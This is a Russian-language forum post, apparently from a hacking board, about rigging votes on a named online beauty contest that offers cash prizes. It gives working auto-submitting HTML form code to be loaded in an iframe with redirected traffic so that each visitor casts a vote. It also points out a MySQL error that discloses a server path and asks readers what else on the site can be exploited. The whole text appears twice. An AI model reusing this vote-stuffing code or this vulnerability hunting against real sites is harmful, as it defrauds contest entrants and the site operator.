T-Rey
16.08.2008, 06:44
Ходя по интернету наткнулся на сайт http://missvkontakte.com/
Цель его такова:
Девушки регистрируются
За них голосуют
И сами призы
1-место Приз: 300 000 рублей.
2-место Приз: 100 000 рублей.
3-место Приз: 50 000 рублей.
Голоса можно было отправить несколькими способами:
1 голос бесплатно (по ip каждые пол часа)
10 голосов СМС
100 голосов СМС
Ну покопавшись в сорцах сайта обнорушил, что +1 добавляется обычным post запросом (хоть бы капчу прикрутили :D )
И был написан iframe
<html>
<body>
<form name=MyForm action="http://missvkontakte.com/simplevoice.php" method=POST>
<input type=hidden name="id_miss" value="Номер учасницы">
</form>
<script>
document.MyForm.submit();
</script>
</body>
</html>
Следовательно сливаем на него трафф и голоса летят) или крути пост через ТОПген
Так же заметил ошибку мускула где раскрытие путей:
Warning: mysql_fetch_array(): supplied argument is
not a valid MySQL result resource in /www/missvkon/www/htdocs/index.php on line 261
Есть идеи? Что ещё можно найти тут?
P.S. Сайт ну никак не соответствует призовой сумме :rolleyes:
Благодарю комрада mr.The за помощь оказанную мне в поиске уязвимостей сайта.
Цель его такова:
Девушки регистрируются
За них голосуют
И сами призы
1-место Приз: 300 000 рублей.
2-место Приз: 100 000 рублей.
3-место Приз: 50 000 рублей.
Голоса можно было отправить несколькими способами:
1 голос бесплатно (по ip каждые пол часа)
10 голосов СМС
100 голосов СМС
Ну покопавшись в сорцах сайта обнорушил, что +1 добавляется обычным post запросом (хоть бы капчу прикрутили :D )
И был написан iframe
<html>
<body>
<form name=MyForm action="http://missvkontakte.com/simplevoice.php" method=POST>
<input type=hidden name="id_miss" value="Номер учасницы">
</form>
<script>
document.MyForm.submit();
</script>
</body>
</html>
Следовательно сливаем на него трафф и голоса летят) или крути пост через ТОПген
Так же заметил ошибку мускула где раскрытие путей:
Warning: mysql_fetch_array(): supplied argument is
not a valid MySQL result resource in /www/missvkon/www/htdocs/index.php on line 261
Есть идеи? Что ещё можно найти тут?
P.S. Сайт ну никак не соответствует призовой сумме :rolleyes:
Благодарю комрада mr.The за помощь оказанную мне в поиске уязвимостей сайта.